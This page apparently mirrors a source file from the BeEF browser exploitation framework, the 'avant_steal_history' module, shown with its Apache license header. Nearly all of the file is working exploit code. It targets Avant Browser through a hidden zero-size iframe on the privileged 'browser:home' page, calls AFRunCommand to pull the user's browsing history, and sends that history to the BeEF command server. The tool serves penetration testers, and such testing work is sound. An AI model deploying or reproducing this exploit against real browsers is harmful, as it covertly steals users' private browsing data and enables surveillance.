Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/avant_steal_history/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn [email protected]
3
//
4
// Licensed under the Apache License, Version 2.0 (the "License");
5
// you may not use this file except in compliance with the License.
6
// You may obtain a copy of the License at
7
//
8
// http://www.apache.org/licenses/LICENSE-2.0
9
//
10
// Unless required by applicable law or agreed to in writing, software
11
// distributed under the License is distributed on an "AS IS" BASIS,
12
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13
// See the License for the specific language governing permissions and
14
// limitations under the License.
15
//
16
beef.execute(function() {
17
18
if (!beef.browser.isA()) {
19
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit failed. Target browser is not Avant Browser.");
20
return;
21
}
22
23
var avant_iframe = document.createElement("iframe");
24
//var avant_iframe = beef.dom.createInvisibleIframe();
25
avant_iframe.setAttribute('src', 'browser:home');
26
avant_iframe.setAttribute('name', 'avant_history_<%= @command_id %>');
27
avant_iframe.setAttribute('width', '0');
28
avant_iframe.setAttribute('heigth', '0');
29
avant_iframe.setAttribute('scrolling','no');
30
avant_iframe.setAttribute('style', 'display:none');
31
32
document.body.appendChild(avant_iframe);
33
34
var vstr = {value: ""};
35
36
if (window['avant_history_<%= @command_id %>'].navigator) {
37
//This works if FF is the rendering engine
38
window['avant_history_<%= @command_id %>'].navigator.AFRunCommand(<%= @cId %>, vstr);
39
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+vstr.value);
40
} else {
41
// this works if Chrome is the rendering engine
42
//window['avant_history_<%= @command_id %>'].AFRunCommand(60003, vstr);
43
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit failed. Rendering engine is not set to Firefox.");
44
}
45
46
});
47
48
49